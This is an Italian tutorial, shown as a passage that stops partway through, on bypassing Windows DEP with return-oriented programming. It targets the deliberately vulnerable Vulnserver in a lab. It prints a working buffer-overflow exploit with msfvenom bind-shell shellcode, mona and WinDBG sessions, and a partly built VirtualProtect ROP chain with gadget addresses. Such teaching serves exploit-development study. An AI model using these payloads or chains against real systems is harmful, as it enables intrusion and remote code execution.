La Data Exectution Prevention (DEP) è una funzione di protezione della memoria inserita da Windows XP in poi e consente al sistema di contrassegnare una o più pagine di memoria come non eseguibili.
Ciò significa che il codice non può essere eseguito da quella regione di memoria, il che rende più difficile lo sfruttamento di buffer overflow. Se un’applicazione tenta di eseguire codice da una pagina di dati protetta, si verifica un’eccezione di violazione dell’accesso alla memoria e, se l’eccezione non viene gestita, il processo chiamante viene terminato.
In Windows 10 DEP è abilitato di default per ogni eseguibile, per cui non c’è necessità di attivarlo o configurare i programmi. Per verificare è sufficente andare su Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP
Se invece volessimo vedere la protezione su un eseguibile in particolare (al di la delle protezioni aggiuntive aggiunte da Windows), lo script PESecurity ci viene in soccorso.
Proviamo ad eseguire il primo exploit che abbiamo scritto per Vulnserver con DEP abilitato:
import struct
import socket
target = ("127.0.0.1", 9999) # vulnserver
size = 5011
# msfvenom -p windows/shell_bind_tcp LPORT=12345 -f python -v shellcode -b '\x00' EXITFUNC=thread
shellcode = b""
shellcode += b"\xbb\xed\x65\x39\x9d\xdb\xdb\xd9\x74\x24\xf4"
shellcode += b"\x58\x33\xc9\xb1\x53\x31\x58\x12\x83\xc0\x04"
shellcode += b"\x03\xb5\x6b\xdb\x68\xb9\x9c\x99\x93\x41\x5d"
shellcode += b"\xfe\x1a\xa4\x6c\x3e\x78\xad\xdf\x8e\x0a\xe3"
shellcode += b"\xd3\x65\x5e\x17\x67\x0b\x77\x18\xc0\xa6\xa1"
shellcode += b"\x17\xd1\x9b\x92\x36\x51\xe6\xc6\x98\x68\x29"
shellcode += b"\x1b\xd9\xad\x54\xd6\x8b\x66\x12\x45\x3b\x02"
shellcode += b"\x6e\x56\xb0\x58\x7e\xde\x25\x28\x81\xcf\xf8"
shellcode += b"\x22\xd8\xcf\xfb\xe7\x50\x46\xe3\xe4\x5d\x10"
shellcode += b"\x98\xdf\x2a\xa3\x48\x2e\xd2\x08\xb5\x9e\x21"
shellcode += b"\x50\xf2\x19\xda\x27\x0a\x5a\x67\x30\xc9\x20"
shellcode += b"\xb3\xb5\xc9\x83\x30\x6d\x35\x35\x94\xe8\xbe"
shellcode += b"\x39\x51\x7e\x98\x5d\x64\x53\x93\x5a\xed\x52"
shellcode += b"\x73\xeb\xb5\x70\x57\xb7\x6e\x18\xce\x1d\xc0"
shellcode += b"\x25\x10\xfe\xbd\x83\x5b\x13\xa9\xb9\x06\x7c"
shellcode += b"\x1e\xf0\xb8\x7c\x08\x83\xcb\x4e\x97\x3f\x43"
shellcode += b"\xe3\x50\xe6\x94\x04\x4b\x5e\x0a\xfb\x74\x9f"
shellcode += b"\x03\x38\x20\xcf\x3b\xe9\x49\x84\xbb\x16\x9c"
shellcode += b"\x31\xb3\xb1\x4f\x24\x3e\x01\x20\xe8\x90\xea"
shellcode += b"\x2a\xe7\xcf\x0b\x55\x2d\x78\xa3\xa8\xce\xb6"
shellcode += b"\x0d\x24\x28\xdc\x7d\x60\xe2\x48\xbc\x57\x3b"
shellcode += b"\xef\xbf\xbd\x13\x87\x88\xd7\xa4\xa8\x08\xf2"
shellcode += b"\x82\x3e\x83\x11\x17\x5f\x94\x3f\x3f\x08\x03"
shellcode += b"\xb5\xae\x7b\xb5\xca\xfa\xeb\x56\x58\x61\xeb"
shellcode += b"\x11\x41\x3e\xbc\x76\xb7\x37\x28\x6b\xee\xe1"
shellcode += b"\x4e\x76\x76\xc9\xca\xad\x4b\xd4\xd3\x20\xf7"
shellcode += b"\xf2\xc3\xfc\xf8\xbe\xb7\x50\xaf\x68\x61\x17"
shellcode += b"\x19\xdb\xdb\xc1\xf6\xb5\x8b\x94\x34\x06\xcd"
shellcode += b"\x98\x10\xf0\x31\x28\xcd\x45\x4e\x85\x99\x41"
shellcode += b"\x37\xfb\x39\xad\xe2\xbf\x5a\x4c\x26\xca\xf2"
shellcode += b"\xc9\xa3\x77\x9f\xe9\x1e\xbb\xa6\x69\xaa\x44"
shellcode += b"\x5d\x71\xdf\x41\x19\x35\x0c\x38\x32\xd0\x32"
shellcode += b"\xef\x33\xf1"
payload = b"TRUN /.:/ "
payload += b"A" * 2002
payload += struct.pack("<I", 0x62501205) #EIP
payload += b"\x90" * 30
payload += shellcode
payload += b"C" * (size - len(payload))
with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...
sent = sock.send(payload)
print(f"sent {sent} bytes")
Va in crash sui NOP. Guardando le protezioni su ESP, possiamo vedere come ora sia solo PAGE_READWRITE, mentre quando non c’era DEP era PAGE_EXECUTE_READ.
0:003> !vprot esp
BaseAddress: 00e3f000
AllocationBase: 00c40000
AllocationProtect: 00000004 PAGE_READWRITE
RegionSize: 00001000
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
Ciò rende impossibile seguire la stessa strada di prima ed è necessario trovare un modo per bypassarlo.
La tecnica che utilizzeremo è quella del Return Oriented Programming (ROP), con la quale si può dirottare il flusso del programma ed eseguire sequenze di istruzioni già presenti nella memoria della macchina, chiamate “gadget”.
Ogni gadget termina con un’istruzione di ritorno (RET) e si trova in una subroutine all’interno del programma esistente e/o del codice di una libreria condivisa. Concatenati insieme, questi gadget consentono di eseguire operazioni arbitrarie su una macchina che utilizza DEP.
In pratica, non aggiungeremo nuove istruzioni all’interno del nostro payload, ma useremo istruzioni già presenti nel programma (o in librerie caricate) in modo che vengano eseguite senza che DEP blocchi l’esecuzione.
La prima cosa da fare è passare il flusso dell’esecuzione dall’EIP al ROP :
Nel caso di sovracrittura di EIP (classico Stack Buffer Overflow), possiamo inserire un istruzione RET trovata con il seguente comando:
!py mona find -type instr -s "ret" -m MODULE.dll
Nel caso di SEH, non potremo più usare l’istruzione POP POP RET, ma dovremo “spostare” ESP in un punto controllato da noi. Le istruzioni che da utilizzare sono diverse, per esempio:
add esp, offset + ret
mov esp, register + ret
xchg register,esp + ret
call register (se il registro punta al nostro buffer)
mov reg,[ebp+0c] + call reg (or other references to seh record)
push reg + pop esp + ret (if you control ‘reg’)
mov reg, dword ptr fs:[0] + … + ret (set esp indirectly, via SEH record)
Un’altra informazione da sapere è come fare il padding. Se per caso ci servisse fare lo xor di ecx e trovassimo la seguente istruzione
# XOR ECX,ECX # MOV EAX,ECX # POP EBX # POP ESI # RETN
Bisogna ricordarsi che il POP EBX e POP ESI andrà a eliminare i successivi gadget. Dobbiamo quindi inserire del padding, per esempio:
ecx = pack("<I",0x68b90948) # XOR ECX,ECX # MOV EAX,ECX # POP EBX # POP ESI # RETN
ecx += pack('<L',0x41414141) # padding for pop ebp
ecx += pack('<L',0x41414141) # padding for pop esi
Stessa cosa se trovassimo RETN 0x4 e non RETN. Bisognerà inserire del padding in questo modo
istruzione_retn = $(!py mona find -type instr -s "retn" -m modulo.dll -cpb "\x00")
rop += istruzione_retn # padding for retn 0x04
rop += istruzione_retn # padding for retn 0x04
Uguale nel caso avessimo un gadget di questo tipo:
ADD BYTE PTR [EDI+5EH],BL
ADD ESP,44
RETN 0x08
ESP dev’essere riportato al nostro payload, quindi dev’essere aggiunto tot padding quanto ESP si è allontanato
esi += struct.pack("<I",0x41414141)
esi += struct.pack("<I",0x41414141)
esi += struct.pack("<I",0x41414141)
esi += struct.pack("<I",0x41414141)
esi += struct.pack("<I",0x41414141)
esi += struct.pack("<I",0x41414141)
esi += struct.pack("<I",0x41414141)
esi += struct.pack("<I",0x41414141)
.....
Un altro consiglio durante la costruzione dei gadget è quello di usare i registri EAX ed ECX per le operazioni aritmetiche. Questo perchè è più probabile che essi vengano utilizzati in memoria per quel motivo e di conseguenza maggiore è la probabilità di trovare gadget.
Una volta che siamo riusciti a controllare il flusso, rimane la necessità di eseguire lo shellcode.
Corelan descrive diverse tecniche, ma il metodo è (quasi) uguale per tutti, ossia unire diversi gadget ROP al fine di chiamare una delle funzioni presenti in memoria che rendano eseguibile la zona di memoria in cui è presente lo shellcode.
Vediamone qualcuna:
VirtualProtect modifica la protezione di una regione di pagine all’interno del processo. Essa è composta in questo modo
BOOL WINAPI VirtualProtect( => A pointer to VirtualProtect()
_In_ LPVOID lpAddress, => Return Address (Redirect Execution to ESP)
_In_ SIZE_T dwSize, => dwSize up to you to chose as needed (0x201)
_In_ DWORD flNewProtect, => flNewProtect (0x40)
_Out_ PDWORD lpflOldProtect => A writable pointer
);
Dove:
Le tecniche con il quale possiamo sostituire i parametri della funzione sono due:
Per la prima, il template base che useremo è il seguente. Ogni registro dovrà avere il valore definito in questo template
#GOALS - VirtualProtect
#EAX 90909090 => Nop
#ECX <writeable pointer> => lpflOldProtect
#EDX 00000040 => flNewProtect
#EBX 00000201 => dwSize 512
#ESP ???????? => Leave as is
#EBP ???????? => Call to ESP (jmp, call, push,..) -> !py mona jmp -r esp -cpb '\x00'
#ESI ???????? => PTR to VirtualProtect - DWORD PTR of VirtualProtect
#EDI RETN => ROP-Nop same as EIP --> !py mona find -type instr -s "retn" -m modulo.dll -cpb "\x00"
Per la seconda sarà invece
# Calling VirtualProtect with parameters
payload += struct.pack('<L', 0x77325c90) # Pointer to kernel32.VirtualProtect()
payload += struct.pack('<L', 0x11111111) # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
payload += struct.pack('<L', 0x22222222) # lpAddress
payload += struct.pack('<L', 0x33333333) # size of shellcode (0x300 should be ok)
payload += struct.pack('<L', 0x44444444) # flNewProtect (0x40)
payload += struct.pack('<L', 0x62506d10) # pOldProtect (any writeable address)
VirtualAlloc cambia lo stato di una regione di pagine nello spazio degli indirizzi virtuali del processo, quindi molto simile alla precedente. La funzione è composta in questo modo:
LPVOID WINAPI VirtualAlloc( => A pointer to VirtualAlloc()
_In_opt_ LPVOID lpAddress, => Return Address (Redirect Execution to ESP)
_In_ SIZE_T dwSize, => dwSize (0x1)
_In_ DWORD flAllocationType, => flAllocationType (0x1000 - MEM_COMMIT)
_In_ DWORD flProtect => flProtect (0x40 - EXECUTE_READWRITE)
);
Anche in questo caso le tecniche per sostituire i valori sono due. Quella base, con il seguente template (molto simile a VirtualProtect)
#---------------------------------------------------------------------#
#GOAL VirtualAlloc
# EAX 90909090 => Nop
# ECX 00000040 => flProtect
# EDX 00001000 => flAllocationType
# EBX 00000001 => dwSize
# ESP ???????? => Leave as is
# EBP ???????? => Call to ESP (jmp, call, push,..) !py mona jmp -r esp -cpb '\x00'
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of VirtualAlloc
# EDI RETN => ROP-Nop same as EIP !py mona find -type instr -s "retn" -m modulo.dll -cpb "\x00"
#---------------------------------------------------------------------#
E quella sniper:
rop += struct.pack("<L", 0x66666666) # dummy VirutalAlloc Address (pointer to VirtualProtect)
rop += struct.pack("<L", 0x55555555) # Shellcode Return Address (pointer to shellcode address)
rop += struct.pack("<L", 0x44444444) # # dummy Shellcode Address (pointer to shellcode address)
rop += struct.pack("<L", 0x33333333) # dummy dwSize - 0x1
rop += struct.pack("<L", 0x22222222) # # dummy flAllocationType - 0x1000
rop += struct.pack("<L", 0x11111111) # dummy flProtect - 0x40
Ultima tecnica che vedremo è WriteProcessMemory, la quale scrive dati in un’area della memoria in un processo specificato. L’intera area da scrivere deve essere accessibile, altrimenti l’operazione fallisce.
BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);
Il template che utilizzeremo è il seguente
# kernel32!WriteProcessMemory placeholder parameters
payload += struct.pack('<L', 0x7732ae50) # Pointer to kernel32!WriteProcessMemory
payload += struct.pack('<L', 0x61c72d10) # RX from MODULE no aslr
payload += struct.pack('<L', 0xFFFFFFFF) # hProccess = handle to current process (Pseudo handle = 0xFFFFFFFF points to current process)
payload += struct.pack('<L', 0x61c72d10) # lpBaseAddress = RX from MODULE no aslr
payload += struct.pack('<L', 0x11111111) # lpBuffer = base address of shellcode (dynamically generated)
payload += struct.pack('<L', 0x22222222) # nSize = size of shellcode
payload += struct.pack('<L', 0x1004dd10) # lpNumberOfBytesWritten = writable location RW in MODULE no aslr
Un aspetto negativo di WriteProcessMemory è che non potremo utilizzare shellcode (reverse o bind shell) create con encoder, perchè non verranno eseguiti. Quindi lo shellcode che inseriremo dovrà essere “a nudo” e senza bad char. Approfondiremo l’argomento quando capiterà in un prossimo articolo.
Tutte queste tecniche possono essere implementate con l’utilizzo dei gadget trovati all’interno dell’eseguibile o delle DLL e tanta creatività.
Ora che abbiamo introdotto alcune delle nozioni teoriche, possiamo iniziare l’esercizio.
Per avere un ambiente ad hoc serve:
Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:
!py mona config -set workingfolder c:\monalogs\%p_%i
In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.
NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.
Vulnserver è un server vulnerabile creato ad hoc per imparare lo Stack Overflow. Una volta avviato rimane in ascolto sulla porta 9999 e possiamo connetterci con netcat.
Già in questo articolo abbiamo analizzato la vulnerabilità presente con il comando TRUN, ma stavolta bypasseremo il DEP con la tecnica VirtualProtect.
Il primo passo è quello di trovare i gadget (dopo aver identificato i bad char). Ci possono essere diversi modi, tra i quali mona con il comando:
!py mona rop -m essfunc.dll -cpb '\x00'
Dove modulo.dll è una libreria utilizzata dal programma. Per trovare le libreria si può usare il comando
!py mona modules -cm rebase=false
Mona oltre ai gadget cercherà di costruire la chain ROP in maniera automatica ma non la utilizzeremo poiché faremo tutto manualmente.
Altrimenti si può usare rp++ con il comando:
rp-win-x86.exe -f essfunc.dll -r 5 > rop.txt
In aggiunta si può usare anche questo tool, che è un wrapper intorno a rp++.
python find-gadgets.py -f ..\..\vulnserver\essfunc.dll -b 00 -o 1.Vulnserver_TRUN\rop.txt
Io utilizzerò mona poiché credo sia più completo (mi sembra che trovi sempre più gadget rispetto agli altri due).
Una volta trovati i gadget cerchiamo il RET con il quale iniziare a modificare il flusso di esecuzione (TRUN è vulnerabile a Stack Buffer Overflow)
!py mona find -type instr -s "retn" -m essfunc -cpb "\x00"
0x62501022 | 0x62501022 : retn | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x62501057 | 0x62501057 : retn | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x625010b6 | 0x625010b6 : retn | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x625011ab | 0x625011ab : retn | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
Prendiamo il primo e lo mettiamo al posto del vecchio JMP ESP (i passaggi per arrivare fino a qui sono descritti nel primo articolo).
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) # vulnserver
VULNSRVR_CMD = b"TRUN ."
CRASH_LEN = 6000
OFFSET = 2006
payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += struct.pack("<I",0x62501022) # RET - ROP NOP
payload += b"C" * (CRASH_LEN - len(payload))
with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...
sent = sock.send(payload)
print(f"sent {sent} bytes")
Metto il breakpoint ed eseguo
0:001> bp 0x62501022
0:001> g
Breakpoint 0 hit
eax=009df1e8 ebx=000000c8 ecx=00fc5528 edx=000024d6 esi=00401848 edi=00401848
eip=62501022 esp=009df9c8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
essfunc+0x1022:
62501022 c3 ret
0:001> p
eax=009df1e8 ebx=000000c8 ecx=00fc5528 edx=000024d6 esi=00401848 edi=00401848
eip=43434343 esp=009df9cc ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
43434343 ?? ???
0:001>
Ha continuato l’esecuzione verso le C, perfetto.
Prima abbiamo accennato alla IAT, che è usata come una tabella di lookup quando l’applicazione cerca di usare una funzione di una libreria condivisa esterna. In pratica sono le funzioni esterne che l’eseguibile richiama dal sistema operativo. Per vederla possiamo fare in diversi modi tra i quali
In alternativa possiamo cercarla direttamente da WinDBG con il seguente comando (fsws sarebbe il modulo nel quale vogliamo cercare, nel nostro caso sarebbe essfunc)
0:009> !dh fsws -f
0 DLL characteristics
0 [ 0] address [size] of Export Directory
192B50 [ 1CC] address [size] of Import Directory
1AE000 [ 133E0] address [size] of Resource Directory
0 [ 0] address [size] of Exception Directory
0 [ 0] address [size] of Security Directory
0 [ 0] address [size] of Base Relocation Directory
166C40 [ 1C] address [size] of Debug Directory
0 [ 0] address [size] of Description Directory
0 [ 0] address [size] of Special Directory
0 [ 0] address [size] of Thread Storage Directory
0 [ 0] address [size] of Load Configuration Directory
0 [ 0] address [size] of Bound Import Directory
166000 [ C40] address [size] of Import Address Table Directory
0 [ 0] address [size] of Delay Import Directory
0 [ 0] address [size] of COR20 Header Directory
0 [ 0] address [size] of Reserved Directory
Dumpiamo all’offset trovato (0x166000) la IAT e prendiamo nota dell’indirizzo di Kernel32!VirtualProtect
0:009> dps fsws +0x166000 L100
00566000 7606eb20 advapi32!RegCloseKeyStub
00566004 760731e0 advapi32!RegEnumKeyA
00566008 7606ea50 advapi32!RegQueryValueExAStub
005662f4 7588b6b0 KERNEL32!GetPrivateProfileStringA
005662f8 7588ae50 KERNEL32!WritePrivateProfileStringA
005662fc 758887a0 KERNEL32!GetModuleFileNameAStub
......
Poiché ASLR è disabilitato possiamo prendere l’indirizzo di VirtualProtect (0x6250609c) senza problemi, sapendo che non cambierà a meno di un riavvio di Windows. Nel caso in cui ASLR fosse abilitato lo si dovrebbe trovare in maniera dinamica (lo vedremo nei prossimi articoli).
Un’altro valore statico che ci serve è un’area di memoria con protezione RW all’interno del modulo. Anche qui ci sono diversi modi:
Lo guardo con WinDBG
0:001> !address 0x62506000
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...
Usage: Image
Base Address: 62506000
End Address: 62507000
Region Size: 00001000 ( 4.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 01000000 MEM_IMAGE
Allocation Base: 62500000
Allocation Protect: 00000080 PAGE_EXECUTE_WRITECOPY
Questo conferma che è PAGE_READWRITE. Cerco qualche indirizzo in cui non c’è nulla
0:001> db 62507000-100
62506f00 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
62506f10 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
62506f20 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
E scelgo 0x62506f10 (attenzione sempre ai bad char).
Nel caso non avessimo a disposizione nessun tool, con WinDBG è possibile cercare le protezioni delle sezioni di un modulo con il comando:
0:000> !dh essfunc
File Type: DLL
FILE HEADER VALUES
14C machine (i386)
7 number of sections
4CE61C00 time date stamp Fri Nov 19 07:41:04 2010
1C00 file pointer to symbol table
19A number of symbols
E0 size of optional header
2306 characteristics
Executable
Line numbers stripped
32 bit word machine
Debug information stripped
DLL
OPTIONAL HEADER VALUES
10B magic #
2.56 linker version
C00 size of code
1800 size of initialized data
200 size of uninitialized data
10C0 address of entry point
1000 base of code
----- new -----
......
SECTION HEADER #1
.text name
A1C virtual size
1000 virtual address
C00 size of raw data
400 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
60500060 flags
Code
Initialized Data
16 byte align
Execute Read
......
SECTION HEADER #6
.idata name
224 virtual size
6000 virtual address
400 size of raw data
1600 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
C0300040 flags
Initialized Data
4 byte align
Read Write
SECTION HEADER #7
.reloc name
E4 virtual size
7000 virtual address
200 size of raw data
1A00 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
42300040 flags
Initialized Data
Discardable
4 byte align
Read Only
Il SECTION HEADER #6 è Read Write, vediamo ora all’offset essfunc + 224 (virtual size) + 6000 (virtual address) + 4
0:000> ? essfunc + 224 + 6000 + 4
Evaluate expression: 1649435176 = 62506228
0:000> !address 62506228
Usage: Image
Base Address: 62506000
End Address: 62507000
Region Size: 00001000 ( 4.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 01000000 MEM_IMAGE
Allocation Base: 62500000
Allocation Protect: 00000080 PAGE_EXECUTE_WRITECOPY
Image Path: C:\Users\User\Desktop\vulnserver\essfunc.dll
Module Name: essfunc
Loaded Image Name:
Mapped Image Name:
More info: lmv m essfunc
More info: !lmi essfunc
More info: ln 0x62506228
More info: !dh 0x62500000
Conferma che è RW, vediamo se c’è qualcosa all’interno:
0:000> dd 62506228
62506228 00000000 00000000 00000000 00000000
62506238 00000000 00000000 00000000 00000000
62506248 00000000 00000000 00000000 00000000
62506258 00000000 00000000 00000000 00000000
62506268 00000000 00000000 00000000 00000000
62506278 00000000 00000000 00000000 00000000
62506288 00000000 00000000 00000000 00000000
62506298 00000000 00000000 00000000 00000000
Ottimo, anche questo potrebbe andar bene.
Ricapitolando il nostro template è ora fatto in questo modo:
EAX 90909090 => Nop
ECX 62506f10 => flProtect - puntatore ad un writable pointer
EDX 00000040 => flNewProtect
EBX 00000201 => dwSize - 513, si può allungare nel caso
ESP ???????? => Leave as is
EBP ???????? => Call to ESP (jmp, call, push,..)
ESI 6250609c => PTR to VirtualAlloc - DWORD PTR
EDI ???????? => ROP-Nop uguale ad EIP
Possiamo iniziare a costruire la chain di gadget.
Il primo registro da inserire è EAX. Per inserire il valore 90909090 ci basterà trovare un’istruzione # POP EAX # RETN nel file rop.txt
eax = pack("<I",0x625011b4) #0x625011b4: pop eax ; ret
eax += pack("<I",0x90909090) # NOP
Aggiorno lo script che diventa
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) # vulnserver
VULNSRVR_CMD = b"TRUN ."
CRASH_LEN = 6000
OFFSET = 2006
######
#EAX 90909090 => Nop {DONE}
#ECX 62506f10 => flProtect - puntatore ad un writable pointer
#EDX 00000040 => flNewProtect
#EBX 00000201 => dwSize - 513, si può allungare nel caso
#ESP ???????? => Leave as is
#EBP ???????? => Call to ESP (jmp, call, push,..)
#ESI 6250609c => PTR to VirtualAlloc - DWORD PTR of 0xADDRESS
#EDI ???????? => ROP-Nop uguale ad EIP
######
rop_nop = 0x62501022 # RETN
#### EAX - {DONE}
eax = struct.pack("<I",0x625011b4) #0x625011b4: pop eax ; ret
eax += struct.pack("<I",0x90909090) # NOP
#### ECX
#### EDX
#### EBX
#### EBP
#### ESI
#### EDI
rop = eax
payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += struct.pack("<I",rop_nop) # ROP NOP
payload += rop
payload += b"C" * (CRASH_LEN - len(payload))
with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...
sent = sock.send(payload)
print(f"sent {sent} bytes")
Metto il solito breakpoint su rop_nop e lancio:
0:001> bp 0x62501022
0:001> g
Breakpoint 0 hit
eax=00adf1e8 ebx=000000cc ecx=010b54b0 edx=00009c66 esi=00401848 edi=00401848
eip=62501022 esp=00adf9c8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
essfunc+0x1022:
62501022 c3 ret
0:001> p
eax=00adf1e8 ebx=000000cc ecx=010b54b0 edx=00009c66 esi=00401848 edi=00401848
eip=625011b4 esp=00adf9cc ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
essfunc!EssentialFunc2+0x8:
625011b4 58 pop eax
0:001> p
eax=90909090 ebx=000000cc ecx=010b54b0 edx=00009c66 esi=00401848 edi=00401848
eip=625011b5 esp=00adf9d0 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
essfunc!EssentialFunc2+0x9:
625011b5 c3 ret
0:001> r eax
eax=90909090
Perfetto, EAX ora contiene il nostro sled. Passiamo al prossimo.
Il valore di ECX l’abbiamo trovato prima, è 0x62506f10. Cerco un POP ECX # RETN e lo aggiungo alla chain
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) # vulnserver
VULNSRVR_CMD = b"TRUN ."
CRASH_LEN = 6000
OFFSET = 2006
######
#EAX 90909090 => Nop {DONE}
#ECX 62506f10 => flProtect {DONE}
#EDX 00000040 => flNewProtect
#EBX 00000201 => dwSize - 513, si può allungare nel caso
#ESP ???????? => Leave as is
#EBP ???????? => Call to ESP (jmp, call, push,..)
#ESI 6250609c => PTR to VirtualAlloc - DWORD PTR of 0xADDRESS
#EDI ???????? => ROP-Nop uguale ad EIP
######
rop_nop = 0x62501022 # RETN
#### EAX - {DONE}
eax = struct.pack("<I",0x625011b4) #0x625011b4: pop eax ; ret
eax += struct.pack("<I",0x90909090) # NOP
#### ECX {DONE}
ecx = struct.pack("<I",0x6250120c) # pop ecx; ret;
ecx += struct.pack("<I",0x62506f10) # RW page
rop = ecx
payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += struct.pack("<I",rop_nop) # ROP NOP
payload += rop
payload += b"C" * (CRASH_LEN - len(payload))
with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...
sent = sock.send(payload)
print(f"sent {sent} bytes")
Metto di nuovo il breakpoint ed eseguo:
0:003> bp 0x62501022
0:003> g
Breakpoint 0 hit
eax=00d6f1e8 ebx=0000000c ecx=00b65528 edx=00003ba7 esi=00401848 edi=00401848
eip=62501022 esp=00d6f9c8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
essfunc+0x1022:
62501022 c3 ret
0:003> p
eax=00d6f1e8 ebx=0000000c ecx=00b65528 edx=00003ba7 esi=00401848 edi=00401848
eip=62501022 esp=00d6f9d4 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
essfunc!EssentialFunc9+0xc:
62501022 59 pop ecx
0:003> p
eax=00d6f1e8 ebx=0000000c ecx=62506f10 edx=00003ba7 esi=00401848 edi=00401848
eip=62501022 esp=00d6f9d8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
essfunc!EssentialFunc9+0xd:
6250120d c3 ret
0:003> r ecx
ecx=62506f10
Come si può vedere la chain inizia a formarsi. Da questo punto in poi non eseguirò ogni volta i passaggi anche su WinDBG ma lo lascio come esercizio al lettore :).
Ciò che consiglio di fare è assegnare alla variabile rop di volta un registro alla volta. In questo modo si può vedere se ogni pezzo della chain è corretto e punta all’indirizzo esatto.
Ora dobbiamo inserire 0x40 in ECX. Possiamo farlo in diversi modi, la modalità più comoda è fare delle operazioni incrementali in modo da raggiungere 0x40. Cercando tra i gadget di vulnserver non ci sono operazioni di quel tipo, quindi dobbiamo cercarli in moduli del sistema. Poiché i moduli di Windows sono compilati con ASLR, li otterremo dinamicamente da WinDBG con il comando
!py mona rop -m 'msvcrt,ntdll' -cpb '\x00'
Operazioni incrementali su EDX non ce ne sono, quindi utilizzeremo un altro registro (EAX) per salvare 0x40 e poi copieremo quel valore dentro EDX.
Le operazioni che effettueremo saranno:
0x771073d0 (RVA : 0x000973d0) : # XOR EAX,EAX # RETN ** [ntdll.dll] **: per svuotare EAX
0x7593616f (RVA : 0x0003616f) : # ADD EAX,8 # RETN ** [msvcrt.dll] ** : per incrementarlo di 8 e lo ripeteremo 8 volte (per arrivare a 64, 0x40)
0x77173a4a (RVA : 0x00103a4a) : # XCHG EAX,EDX # RETN ** [ntdll.dll] **: per avere il valore di eax in edx.
Lo script sarà quindi aggiornato cosi
….
#### EDX { DONE}
edx = struct.pack("<I",0x771073d0) # XOR EAX,EAX # RETN
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 8
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 16
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 24
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 32
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 40
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 48
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 56
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 64
edx += struct.pack("<I",0x77173a4a) # XCHG EAX,EDX # RETN
…..
